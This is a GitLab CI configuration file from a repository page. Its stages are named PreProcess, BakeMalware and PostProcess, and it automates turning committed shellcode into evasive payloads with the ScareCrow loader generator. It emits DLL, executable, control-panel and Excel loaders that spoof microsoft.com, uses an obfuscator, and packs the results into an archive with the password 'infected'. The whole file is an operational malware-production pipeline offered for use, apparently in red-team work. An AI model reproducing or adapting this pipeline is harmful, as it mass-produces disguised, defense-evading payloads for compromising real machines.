-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathgitlab-ci-version02.yml
72 lines (64 loc) · 1.76 KB
/
gitlab-ci-version02.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
stages:
- PreProcess
- BakeMalware
- PostProcess
workflow:
rules:
- changes:
- shellcode/*
PreProcess:
stage: PreProcess
tags:
- maas
script:
- |
mkdir -p /payloads/${CI_COMMIT_SHORT_SHA}/.lib
ln -s /usr/local/bin/garble /payloads/${CI_COMMIT_SHORT_SHA}/.lib/garble
ScareCrow01:
stage: BakeMalware
tags:
- maas
script:
- |
cd /payloads/${CI_COMMIT_SHORT_SHA}
ScareCrow -I $CI_PROJECT_DIR/shellcode/shellcode_x64.bin -Loader dll -domain microsoft.com
ScareCrow02:
stage: BakeMalware
tags:
- maas
script:
- |
cd /payloads/${CI_COMMIT_SHORT_SHA}
ScareCrow -I $CI_PROJECT_DIR/shellcode/shellcode_x64.bin -Loader binary -domain microsoft.com
ScareCrow03:
stage: BakeMalware
tags:
- maas
script:
- |
cd /payloads/${CI_COMMIT_SHORT_SHA}
ScareCrow -I $CI_PROJECT_DIR/shellcode/shellcode_x64.bin -Loader control -domain microsoft.com
ScareCrow04:
stage: BakeMalware
tags:
- maas
script:
- |
cd /payloads/${CI_COMMIT_SHORT_SHA}
ScareCrow -I $CI_PROJECT_DIR/shellcode/shellcode_x64.bin -Loader excel -domain microsoft.com
PostProcess:
stage: PostProcess
tags:
- maas
script:
- |
DEST=${CI_PROJECT_DIR}/ScareCrowPayloads
rm -rf /payloads/${CI_COMMIT_SHORT_SHA}/.lib
cd /payloads
7z a "${DEST}/${CI_COMMIT_SHORT_SHA}.7z" "${CI_COMMIT_SHORT_SHA}/*" -p"infected"
rm -rf /payloads/${CI_COMMIT_SHORT_SHA}
artifacts:
name: ScareCrowPayloads
paths:
- ScareCrowPayloads/
expire_in: 1 day